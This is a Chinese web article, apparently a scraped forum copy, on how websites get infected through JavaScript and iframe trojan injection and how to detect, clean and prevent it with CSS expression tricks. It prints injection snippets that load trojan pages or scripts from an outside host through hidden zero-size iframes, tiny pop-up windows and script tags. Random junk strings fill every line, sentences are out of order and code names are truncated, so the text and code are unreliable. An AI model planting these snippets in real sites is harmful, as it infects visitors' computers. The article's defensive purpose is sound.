|
网站被JS挂马解决方法
" K4 ]1 a2 |4 @% w3 _+ s为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范
$ a+ t- i5 d2 m% y' ?IFRAME 和 JS 脚本挂马。 / I, J7 ?6 ^7 a9 ^1 A6 u
检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp, ; _" v8 b) v* x1 I- ?" ]+ [- N
网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、 ' C: U; T, w9 @- s
如何清除网页木马。如何防止网页被挂马。 1: 网页挂马的种类 . ; {" O4 @/ H3 }' O M. t; L
相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的 $ j! }0 o1 _( n A* J* U5 z
卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马
) P6 ?, X' _+ ~2 _( F: m利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权 % o9 @* V2 |9 I8 q0 W6 J5 G
。一千多位会员的 ID ; m5 R8 y" w: Z# S
2: 如何检测网页是否被挂马。
$ J0 c; V: f9 O8 P1 e, q六款免费网页平安检测工具横向测评 ( 华军软件园 ) 1 专业检测工具。>
0 n1 ~$ H. @' n或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全 6 ^) e$ a3 \' h3 x+ D
因素。 2 googl 检测。> ' ?% e/ {. D( G# n/ H" V
常用的杀毒软件也可以检测出来。 3 杀毒软件检测。>
; d8 ~9 _& G h7 [: V打开你网站、博客, 4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。
; h2 d" _ p0 w' }; `+ M5 使用 McAfee SiteAdvisor 平安浏览网页的插件。
5 s8 B) Y7 Q& ~2 U! V1 \. u6 R$ @8 U3 x3 m9 f6 j
3: 如何清除网页木马。
! o2 r% k3 c, f4 Q9 `就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进 ; b: k' V0 ^2 V1 b; ~
入源文件把相关的网页挂马种类的可疑代码删除。
+ v- T0 }- \7 f/ ^7 Y建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟 . E R, H! |! `; Z* j- ]
悉。> % a" h/ w, o: L% W7 D7 o: W
请从预防开始吧。 4: 如何防止网页被挂马。如果你网站还没有被挂马。> - w/ F3 K7 O& g/ _
并只允许信任的人使用上传程序。 1 对网友开放上传附件功能的网站一定要进行身份认证。> 3 n; u, @' I! C
2 保证你所使用的顺序及时的更新。
& o# x! o, ]- ?/ m% U) k3 不要在前台网页上加注后台管理程序登陆页面的链接。 # m1 L( g0 k3 Z9 ^; H! D4 K; _6 ^3 y
但不要把备份数据库放在顺序默认的备份目录下。 4 要时常备份数据库等重要文件。> - u. _4 _% ]" }9 s
不能过于简单。 5 管理员的用户名和密码要有一定复杂性。> - Z C1 ?0 l8 g" {) A
二项功能组合, 6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。
& y' a& X0 F6 [6 Z- O设置执行权限选项中, 7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。 6 J G, W @# P+ J% p9 o1 c
8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客
1 {& z6 x9 F$ I2 q8 j3 o3 a/ W1 c s! O( n6 a; V
IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式 1 x3 P: s; \5 [; o; s. @* k) t; s
。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。 : Y, c4 }0 f! C3 I
JS 挂马溯源
" j2 x: J% o. v4 F7 r* L7 |" U* d( w1 i有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方 & b2 ^$ z* m1 x0 m
法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。 / L7 I* }" Y3 G
很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS % Q8 B e/ E: F% G
脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。 4 k8 O9 [+ C! F# G! e u
一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示 ( j. z1 U+ E" O' X, N1 X
大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而 ' \ t+ `4 M2 |6 g( s9 Y1 e& e. S
JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。
; U6 {$ H& G3 K) n! N( q但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编
( @; a0 D2 R0 z7 C S" [程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS & S, T. y3 |' k: L# o/ G
脚本在工作中会有很大的协助。
0 V4 y- R" h! Z# y挂马原理一点通 % w {6 u; o9 T6 O: M
可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以 ; `: Q3 n' i+ Z1 g
通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,
6 N0 `9 |4 U% Z, n无从区分木马在何处。 7 W# B' B& c1 Q
如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂
& ?( u- e5 H2 {' F0 O马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很 3 i8 I: c3 |6 Q0 U$ z* [" ~( H/ ^8 f
容易蒙混过关,导致木马久杀不绝。
+ Y0 y: }$ b: nJS 挂马攻防实录
$ D* D. p& L m一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的 & `3 z: y3 s! g2 E+ x
挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。 " o! |1 q5 C9 {( _4 O
这种方法使用的关键代码如下: . N/ k3 C6 O/ `0 W! j
"", window.open "http://www.v404.cn/ 木马 1 |. i5 n" \2 l; v) e& i
.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ; : _# b9 k A% S3 i$ Z' P
7 g3 f5 h$ I# v# @# s! z很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0 9 M# l4 m/ R, b% I8 y
但是设置为 0 后,可能会出现恶意代码不运行的情况。
* u& r: i# s! ~- n) V( G" y并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “ , `- {) d& J" x1 }4 b
document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件 " u0 n3 Q0 t( O4 K& L2 k
。 8 B* v. y. n2 Y! t4 @3 z
<script src="http://www.v404.cn/ 木马脚本 .js"></script> & V) N2 L1 q$ N; n6 `0 D( l! _
e6 q- Q, e' k: R
或者
/ a' F5 [, P, s# Kdocument.writ "<div style='display:none'>"
) R# H- b c4 f- O; e/ udocument.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"
1 E+ d% ^7 o9 k3 N) B" N, Vdocument.writ "</div>"
0 b8 m& [9 Z( ~$ S8 R+ i' b& p( k+ a1 O( l+ ]
就成功地将木马挂到对方的网页中了
+ |: ~2 j/ k0 I* ^% k+ k: e1 V例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。
- N# y! i( i; O o) x: E<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;"> 4 y" _: N% I; U$ f
或者: ' u# y' |. n7 C7 G; V
<ifram src="vbscript:[ 挂马脚本 ]">
" }3 J# Q* v5 w) l( Z9 v% `2 T6 W" K. u" `
等等 …
% Q; W, t O; x. C# l不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法
- o' F( g5 _+ m. I# @+ M1 q T就是阻止 Src 请求的异地外域的 JS 脚本,代码如下: $ e5 d7 B z r3 x) n0 c6 Q; C
iframe{mdy1:express this.src='about:blank', < iframe{mdy1:express this.src='about:blank'.this.outerHTML='' 2 J5 e$ d8 H# \+ h6 W- P- r/ w
;} 3 }' Q1 Q) H. M9 H1 z) |
script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;} 8 X/ _, C, f9 a; p0 K
- \& q+ b/ _7 _) b9 J4 |) g$ J) w2 P不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。 6 W4 J- \5 b4 A# A# L8 q( Q
这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的
0 l# m& M2 t- JCSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了
% s! u/ r! r. |* p [9 G' D8 vWriter 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。
/ d2 [6 G8 |1 {1 L5 e' c# E<title> 让 JS 挂马中止的 CSS 代码 </title> & ?& v2 f+ {( w8 h; n; l
<styl type="text/css" id="shudoo">
( C/ [. a* Q; K4 M3 j* |5 O/ q1 h6 X, Q/*<![CDATA[*/ ! w! F D' L5 l+ H. Z: G
this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.} 4 f7 Y% x) g8 ?" {9 l# |( J
script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;} , {$ l1 v+ R0 b5 G
/*]]>*/
# [7 u* a( o7 U% s1 v. E</style>
|